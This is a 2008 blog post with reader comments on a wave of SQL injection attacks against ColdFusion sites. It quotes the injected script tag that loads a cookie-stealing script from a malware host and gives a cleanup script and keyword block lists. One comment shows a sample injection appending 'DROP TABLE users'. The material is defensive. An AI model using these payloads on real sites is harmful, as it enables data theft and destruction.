This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using <cfqueryparam>. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.
Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam probably due to not knowing it exists. In fact CFQueryParam has existed since CF4.5, andI have to admit even I didn't know that, it has only really been promoted as a best practice and way to avoid SQL injection since CF6.
In mid-July, the hacker webzine 0x000000.com discussed potential pitfalls, particularly within older versions of ColdFusion, which could lend themselves to potential compromise:
~ Easily discoverable passwords
~ Lack of parameterized query handling
~ Failure to properly escape single quotes
~ Returning error messages that are too verbose
Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.
Following are some of the malware domains involved in the recent ColdFusion attacks:
- mh.976801.cn
- 1.verynx.cn
- mm.ll80.com
Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.
</title><script src="http://1.verynx.cn/w.js"></script>
The resulting javascript which gets loaded into your pages is used to "phish" your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once.
Protecting Yourself
All of the attacks we have seen so far seem to be implemented by using the "Exec()" command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.
E.G.
<cfloop collection="#form#" item="item">
<cfif form[item] contains "exec(">
.. your decision code here ...
</cfif>
</cfloop>
<cfloop collection="#URL#" item="item">
<cfif form[item] contains "exec(">
.. your decision code here ...
</cfif>
</cfloop>
You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.
You should of course also be adding cfqueryparam tags to all your queries too, or if you are still running older version of CF then you should be validating the data types in another way, using <cfapram> or val() for example.
The best approach you can take is to lock down your database users with specific permissions so that your web site can only SELECT from the database and cannot update, delete, execute. You should ideally only allow these permissions from your backend admin system. If there are parts of your site that need to update the database, restrict the dbuser or DSN to only be able to update the specific tables/columns they need to.
If you need to find out which pages in your site have been attacked, then you should check your web logs, and search for things like "exec" or "declare" or other sql statements.
Jul 24, 2008 at 6:35 PM I like your protection script much better than the one I posted yesterday. I put a link on my blog to this post.
Jul 25, 2008 at 6:07 AM "prior to ColdFusion 6 this tag did not exist,"
Actually it's been around since 4.5 according to page 170 of the docs:
http://download.macromedia.com/pub/documentation/en/coldfusion/452/45langref.pdf
Jul 25, 2008 at 2:18 PM Thanks a ton for this...my oldest site (put up in 2000) was affected by
this; I ran scrwalr against the site and sure enough there was a single
"hole" -- I had done some work on the site a couple of years back and
those queries were using cfqueryparam, but most of the older ones were
not. 7 hours of coding later and there are cfqueryparam's all 'round,
and thanks to your slick SQL script (which is way over my head), I had the
data cleaned up in minutes rather than days. A very timely posting, thanks
very much!
Jul 25, 2008 at 8:02 PM Russ,
That will help, but there's some other stuff you can do, such as query param anything dynamic sql. But similar to your script, here's what I've put in my application.cfm page:
<cfif cgi.SCRIPT_NAME contains "CHAR(4000)" OR cgi.PATH_INFO contains "CHAR(4000)" OR cgi.QUERY_STRING contains "CHAR(4000)">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC(">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "DECLARE" OR cgi.PATH_INFO contains "DECLARE" OR cgi.QUERY_STRING contains "DECLARE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "CREATE TABLE" OR cgi.PATH_INFO contains "CREATE TABLE" OR cgi.QUERY_STRING contains "CREATE TABLE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "UPDATE" OR cgi.PATH_INFO contains "UPDATE" OR cgi.QUERY_STRING contains "UPDATE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "EXECUTE" OR cgi.PATH_INFO contains "EXECUTE" OR cgi.QUERY_STRING contains "EXECUTE">
<cfabort>
</cfif>
<cfif cgi.SCRIPT_NAME contains "CAST(" OR cgi.PATH_INFO contains "CAST(" OR cgi.QUERY_STRING contains "CAST(">
<cfabort>
</cfif>
hopefully between cfqueryparam and this script not much ought to get through.
Jul 25, 2008 at 8:45 PM Yes Larry that is what I meant by "expand this further to check for any kind of SQL statement in the FORM or URL scope", so you are on the right track, but you have forgotten the form scope though, which can also contain SQL injections. You may also find it easier to store all your SQL strings in a list or XML file and loop over it, as this will be easier to modify than constantly adding new if/else blocks which will get slower the more you add.
Jul 27, 2008 at 11:57 PM Russ, the attack is not aimed at CF specifically; it has affected PHP, ASP and Perl-based websites... there is nothing new about this injection; cursor injections were around in 2001 even.
You´d think that CF would auto-query param its values by now...
Jul 28, 2008 at 10:12 AM Yes Fred SQL inejctions have been around for a long time, but this particular attack has recently started targeting CF sites, where previously it only targeting ASP/PHP sites, so this is why there is something new about this attack, you can find more info about this if you follow the link in my article to 0x000000.com, which is a new article from this month. You will also find this has been reported in many other places, because people do not know about SQL injection, regardless of how long it has been about, so the point is informing CF developers that they have now been targeting too.
Hope that helps.
Jul 28, 2008 at 12:31 PM Again, this is not a CF issue. It is a SQL issue. The underlying language has nothing to do with the issue. CGI-style parameters and POST-data are the problem areas, and again, nothing to do with CF per-se. CF has always been attacked by SQL injections - this particular attack may have been including CF Servers, but the attack is not actually particular - it's the same obfuscated (CAST) attack that I saw on my CF 4.5 box back in 1998/99. Looks like we'll have to agree to disagree that this is a new attack :)
Jul 28, 2008 at 12:52 PM Fred, No-one is saying it is a CF problem, including me, the article clearly states it is an SQL injection problem that affects CF sites. An SQL injection can affect any web site that is database driven. When I say "affects CF", I mean it affects sites which are written using the CFML language, not that is is written in CFML or can affect CFML code directly.
I would suggest that you try re-reading it and follow the aforementioned link to 0x000000.com and the penny might drop for you.
Hope that helps.
Jul 28, 2008 at 1:33 PM Hmm, no. No pennies dropping I'm afraid...
It is your sentence "specifically against ColdFusion sites since the hackers have discovered they are also vulnerable" that is what I take issue with, for the recent attack is *not* specifically attacking or targetting CF sites. No matter how hard you try to get around that fact, it remains a fact. All SQL-driven websites that pass data to a database query are susceptible, period.
Hope that helps.
Jul 28, 2008 at 2:14 PM OK lets try a different approach.
Lets say every night at 6pm you go out ringing peoples doorbells and running away, and every night you do it on the same street and you do it house number 1,2 and 3 because you know they are home. Therefore you are targeting these specific houses. Now lets say you discover that house number 7 are also home at 6pm so you decide to add them to your attack too. Your attack has not changed, but your targets have, where as before you were only targeting house 1,2 and 3, not you are targeting houses 1,2,3 and 7.
Think of houses 1,2 and 3 as ASP, PHP and CGI and house number 7 is ColdFusion. So you are not specifically targeting House number 7, you have simply added it to your list of targets.
I did recommend you read this this article, which might help you too, but here is the direct link in case you could not find it: http://www.0x000000.com/?i=610.
If you still disagree then that is fine, but I request that you keep it yourself rather than flaming my blog further as it serves no purpose other than to be annoying. Thanks.
Jul 29, 2008 at 9:25 AM I didn't mean to get you flustered Russ. You now seem to be saying that the recent injection is "extending targets" rather than specifically attacking them. I can *agree* with that totally. For that is exactly what the recent attack did - it just looked for sites passing CGI parameters; it did not specifically target CF-driven sites. I agree with the 0x000000 article btw; it's just your article I was commenting on. I certainly was not flamebaiting. I like this blog; I will visit some more :)
Aug 3, 2008 at 11:54 PM Good article. :) I've known about cfqueryparam for a long time -- I know I was using it personally throughout CF5, though I don't remember if I started before or after 5 was introduced. When I found out about it I immediately started using it religiously for the combination of both security and performance reasons.
Though with few exceptions through a variety of jobs at different companies, any time I'd mentioned it to anyone else, I'd always heard "no we don't bother to do that here, it's not that important to us"... Which I never understood personally, but it seemed at least to me that the primary impetus for not using cfqueryparam at most of the companies where I'd worked was because they're tedious to write. Which imo isn't a good reason not to implement a security measure.
These days in my own work I still use cfqueryparam, but the applications I write for myself don't have any cfqueryparam tags because DataFaucet automates them for me. So what to me is .filter("columnx",objectid) becomes
where columnx = <cfqueryparam value="#objectid#" cfsqltype="cf_sql_xxx" />
Years ago when I was working for Christian Interactive Network (CIN) in Ft Lauderdale, I once wrote some code that had "inner" and "left" in the url parameter, so anyone who knew SQL would be likely to recognize it as a sql command *however* I've always been very conscientious about validating those kinds of values, so before it was used I had this: if (not listfindnocase("inner,left",attributes.join)) { attributes.join = "left"; } -- so if it wasn't inner or left, it made sure it was left before using it.
Though if I were being a purist about software design, I would say that's still not an ideal solution because the page shouldn't really know what mechanism is being used to return the results, whether it's sql or xml or something else. So from the point of the browser, the url parameter probably should have been 0 or 1 and then wrapped a val() around it and used that to make the decision within the query.
Aug 4, 2008 at 12:15 AM I wouldn't have used Larry's script because I have pages with words like "update" in the name -- but the name of the page isn't really related to the sql injection... and all my queries are param'ed and there are never any uses of preserveSingleQuotes() with form or url variables in them, so there should be no vulnerabilities in my apps. Though if I wanted to set up a convention for "update" pages to be only usable by people who are logged in using something like Larry's script, I would condense it to something like this probably:
<cfset temp = cgi.SCRIPT_NAME & cgi.PATH_INFO & cgi.QUERY_STRING & structToURL(form) />
<cfif refindnocase("(cast|exec)\(|insert|update|declare|execute",temp)><cfabort /></cfif>
The down side is you'll never be able to put examples of code in a blog comment, forum entry, etc. if you put that in your application.cfm or onRequestStart.
Aug 7, 2008 at 4:32 PM Ike, The page name shouldn't matter, only the query string. so as long as you are not passing variables with words like execute, update you should be fine. I found a script similar to Larry's on another blog and modified it for my sites, in the past 48 hours I have logged over 2,500 injection attempts
on my sites:
<cfparam name="query_string" default="">
<cfif query_string contains "SELECT" or query_string contains "EXECUTE" or query_string contains "DECLARE" or query_string contains "VARCHAR" or query_string contains "CONVERT" or query_string contains "INSERT" or query_string contains "UPDATE" or query_string contains "DELETE" or query_string contains "DROP">
<cfoutput>
<pre>
<h1>HACK ATTEMPT RECORDED FROM IP: #remote_addr#</h1>
#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#
#script_name#&#query_string#
</pre>
</cfoutput>
<cfmail to="email@address" from="email@address" subject="HACK ATTEMPT FROM IP: #remote_addr#">
HACK ATTEMPT RECORDED:
#DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#
IP: #remote_addr#
ATTEMPT:
http://#server_name#/#script_name#&#query_string#
</cfmail>
<cfabort>
</cfif>
Aug 7, 2008 at 4:37 PM the problem with testing the query string is that you are aslo going to include your form field names in the exclusion. It would be perfectly valid to have a form field or button called "select, update or delete", which would cause the form to fail with a GET method with this code. You really only need to check the values of the fields not their names.
Aug 7, 2008 at 4:44 PM In general you need to check any and all external input, be it Cookie, CGI, FORM, or URL variables. Its not difficult setting up a bot to do these attacks and use an http request to pass in the injection via a cookie. Better to be save than very sorry.
Aug 7, 2008 at 5:09 PM Russ & Larry, couple of questions then. I do not usually pass form variables to a DB instead I use them for things like cfmail, am I still vulnerable because I am passing a variable.
Also what about pages protected by cflogin, alot of my sites have a password protected CMS, are these pages accesible and vulnerable as well?
Aug 7, 2008 at 5:21 PM You are not vulnerable to the same thing when emailing as you are not touching the database. You may however be vulberable to XSS attacks, as Javascript could be inserted into the email which would run on the client machine, so you would want to check for that if it is possible.
I cannot comment on CFLOGIN as I do not use it, but one would hope that ColdFusion's own tags would not be vulnerable, but you cannot assume I guess, better to test for yourself. What I generally do for password protected areas is use server side security rather than CF, as any CF based login protection will only protect cf pages, and not any other type of file. We use IISPASSWORD for windows, which takes CF out of the equation. You can then pass the authentication details to CF and use them for any additional permission management within the application.
Aug 7, 2008 at 5:21 PM do you check the username and password against database entries using something vaguely like this:
select username, password, userid
from users
where username = '#form.username#'
and password = '#form.password#'
Or any scoped variation on form. If so then you're vunerable. It would be very easy to inject an attack such as this (using cf here and assuming an off site bot).
<cfset form.username = form.username & ";DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';" />
Even if you transform the input you are still vunerable, unless you validate user input and use CFQueryParam. Check out the Wikipedia entry on sql injection attacks its a pretty good discussion of the matter, http://en.wikipedia.org/wiki/Sql_injection. Also it has a short CF example on how to prevent injection attacks.
Also check out today's CF-Talk, there's a long discussion on injection attacks and how to prevent them, http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:57221.
regards,
larry
Aug 7, 2008 at 9:19 PM @Russ + Bill : the CFLogin tag doesn't connect to a database on its own... actually the cflogin tag itself does very little... the only thing it does is act as a wrapper for code that should only execute if the current user isn't logged in, and allows you to declare the scope where it will store login information (session, client or cookie if I remember correctly).
So what generally happens is you'll have a cflogin tag that contains a login form and then a cfif statement wrapped around a query (or a CFC that executes a query) to log the user in, followed by a cfabort. So the cflogin tag isn't itself a potential vulnerability for SQL injection, but it's usually wrapped around code that is.
Aug 8, 2008 at 1:25 PM Any way to punish the assholes doing this?
Aug 8, 2008 at 1:40 PM Perhaps, after you detect the hacker, you could redirect them to a 100MB htm file.
Aug 8, 2008 at 1:56 PM You have to remember that these attacks are not being made by the hackers themselves, they have simply infected innocent people machines with trojans and have them doing the dirty work.
Aug 8, 2008 at 7:40 PM Pretty ironic that this stuff just started happening today, 08/08/08, from Chinese hackers. All of my web sites are just getting hammered with SQL Injection attempts.
The code up top that removes the bogus data from tables is all well and good, but I'd like to first SEE what the scope of the damage has been. Does anybody have a script that will just display all the damaged columns?
Aug 8, 2008 at 7:46 PM If your site is vulnerable then they have injected into every single har/varchar/text column possible.
Aug 8, 2008 at 8:43 PM Actually Dave, it started a couple of weeks ago. It just ramped up suddenly this week. The original attack was by something called verynx that started after an article in the hacker webzine 00X0000.com discussed some potential vulnerabilities of CF sites.
Aug 9, 2008 at 2:32 AM Thanks for all the good advice I have added the code with the e-mail notification supplied by bill. I am still not sure how to protect the forms on the site, however I will keep digging. I am a web designer/developer in Madison, WI, however this site http://www.nationallungcancerpartnership.org is the first site where I have had to support ColdFusion. I typically design sites in ASP or PHP. Of course now my inbox is quickly filling with e-mails of attempts. Goddam Hackers!
Any suggestions on ways to further protect this site would be greatly appreciated. Thanks.
Aug 9, 2008 at 3:14 PM Tony, I also am in charge of several sites that I myself did not originally create and it was through one
of those sites that I got infected. Now Russ, Larry, guys, correct me if I am wrong but other than the
query param I think database permissions can play a big role. I started making 2 DB connections for
my sites on the front end I use a connection that only has select permissions, on the backend where my
users update their site, I use a second db connection that has insert, update and delete permissions.
On top of permissions I am using the excellent free injection scanner on RiaForge
http://portcullis.riaforge.org and painfully recoding each site. The attacks are still coming too since my last
entry my email count is at about 19,000
Aug 9, 2008 at 3:42 PM @Bill,
That's a good suggestion, as is Portcullis. Brad Wood has been blogging about this stuff since these attacks started, this posting makes some very useful suggestions, and offers likes to some tools that will be very helpful in spotting vulnerabilities and ways to correct them.
http://www.codersrevolution.com/index.cfm/2008/7/24/Announcing-the-first-ever-International-Operation-cfSQLprotect
Aug 10, 2008 at 3:55 PM Dan Switzer of pengoworks in his blog, had this possible solution, if you're a CFEclipse user. Do a file search and select the Regular expression option. Then input the following:
<cfquery\s[^>]*>([^#]*(((?<!value=")#[^#]*#)))((?<!</cfquery)[^>]*?)</cfquery>
This will go through either the project or the entire workspace searching for any cfqueries that are not query param'd. Its an excellent way of find out which cfqueries need to be protected. For more information, see Dan Switzer's blog http://blog.pengoworks.com/index.cfm/2008/7/23/Using-Eclipse-to-find-queries-that-arent-using-cfqueryparam-)
Aug 10, 2008 at 11:46 PM Great article. very helpful.
I think you have a mistake in your code sample though.
Did you mean to use form[] for both loops?
also, I don't understand how cfqueryparam helps if you have fields that need to use relatively long strings in dynamic SQL such as searching for something in a text filed.
Thnx.
Aug 11, 2008 at 12:03 AM @matt ...
injectable
<cfquery ...>
select * from table
where lontextcolumn like '#longtext#'
</cfquery>
not injectable
<cfquery ...>
select * from table
where longtextcolumn like <cfqueryparam value="#longtext#" />
</cfquery>
Do these look like the kind of queries you're talking about or something else?
Aug 11, 2008 at 12:26 AM If form.longtext = 'delete star from tableName', won't cfquery param still allow this since it is still a string and it's length is short enough for most size restrictions put on it.
Aug 11, 2008 at 8:19 AM If the column being updated is a varchar then no because it will not get executed.
Aug 11, 2008 at 3:52 PM We are recovering from an attack and have implemented your code, however, to cycle through the form collection and block any submission that includes strings that are also SQL commands can be rather restrictive.
The terms 'update' 'select' and 'delete' are quite common and often found in comment boxes we receive from users who use our forms.
I can see blocking 'exec(' and things like that with funny characters, but don't we lose common English usage if we block all words used by SLQ from form submissions?
Sep 17, 2008 at 8:39 PM @Jon - Just after the week in which the rash of injections occurred, I had several different blogs prevent me from submitting a comment without any information about why. I presume that's because they trapped a word like "update" and then simply <cfabort> without providing any kind of message indicating the issue.
A much more sophisticated system would be to take the form content, place it in a new insert query using cfqueryparam that puts it into a queue for review and then allows you to approve them to go into the blog comments. But of course that requires more time to develop... and it's still in my opinion at least less than ideal.
I really only recommend that kind of url/form trapping as a stop-gap to keep it from happening temporarily, while you work your ass off getting all your cfquery tags updated with cfqueryparam.